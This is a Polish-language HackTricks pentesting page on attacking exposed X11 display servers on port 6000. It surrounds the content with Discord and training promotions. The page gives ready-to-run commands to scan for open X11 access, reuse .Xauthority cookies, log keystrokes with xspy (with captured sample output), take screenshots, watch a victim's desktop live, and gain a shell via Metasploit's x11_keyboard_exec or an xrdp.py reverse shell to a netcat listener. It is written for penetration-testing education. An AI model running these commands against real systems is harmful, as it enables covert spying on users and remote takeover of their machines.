hacktricks/network-services-pentesting/6000-pentesting-x11.md

8.4 KiB
Raw Permalink Blame History

6000 - Pentesting X11

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights
Engage with content that delves into the thrill and challenges of hacking

Real-Time Hack News
Keep up-to-date with fast-paced hacking world through real-time news and insights

Latest Announcements
Stay informed with the newest bug bounties launching and crucial platform updates

Join us on Discord and start collaborating with top hackers today!

Podstawowe informacje

X Window System (X) to wszechstronny system okienkowy powszechnie stosowany w systemach operacyjnych opartych na UNIX. Zapewnia ramy do tworzenia graficznych interfejsów użytkownika (GUI), przy czym poszczególne programy zajmują się projektowaniem interfejsu użytkownika. Ta elastyczność pozwala na różnorodne i dostosowane doświadczenia w środowisku X.

Domyślny port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Sprawdź anonimowe połączenie:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Lokalna enumeracja

Plik .Xauthority w katalogu domowym użytkownika jest używany przez X11 do autoryzacji. Z tutaj:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: Generowanie 128-bitowego klucza (“ciasteczka”), przechowywanie go w ~/.Xauthority (lub tam, gdzie wskazuje zmienna środowiskowa XAUTHORITY). Klient wysyła go do serwera w postaci niezaszyfrowanej! Serwer sprawdza, czy ma kopię tego “ciasteczka” i jeśli tak, połączenie jest dozwolone. Klucz jest generowany przez DMX.

{% hint style="warning" %} Aby użyć ciasteczka, powinieneś ustawić zmienną środowiskową: export XAUTHORITY=/path/to/.Xauthority {% endhint %}

Sesja lokalnej enumeracji

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

W przykładzie localhost:0 działał xfce4-session.

Verfy Connection

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy do przechwytywania naciśnięć klawiszy na klawiaturze.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Zrzuty ekranu

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Zdalny widok pulpitu

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Najpierw musimy znaleźć ID okna za pomocą xwininfo

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

Aby uzyskać podgląd na żywo, musimy użyć

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Uzyskaj powłokę

msf> use exploit/unix/x11/x11_keyboard_exec

Reverse Shell: Xrdp umożliwia również uzyskanie reverse shell za pomocą Netcat. Wpisz następujące polecenie:

./xrdp.py \<IP:0> no-disp

W interfejsie możesz zobaczyć opcję R-shell.

Następnie uruchom Netcat listener w swoim lokalnym systemie na porcie 5555.

nc -lvp 5555

Następnie wprowadź swój adres IP i port w opcji R-Shell i kliknij na R-shell, aby uzyskać powłokę.

Odniesienia

Shodan

  • port:6000 x11

Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hackerami i łowcami bugów!

Wgląd w Hacking
Zaangażuj się w treści, które zagłębiają się w emocje i wyzwania związane z hackingiem.

Aktualności o Hacking
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i spostrzeżeniom.

Najnowsze ogłoszenia
Bądź informowany o najnowszych nagrodach za błędy oraz istotnych aktualizacjach platform.

Dołącz do nas na Discord i zacznij współpracować z najlepszymi hackerami już dziś!

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie HackTricks
{% endhint %}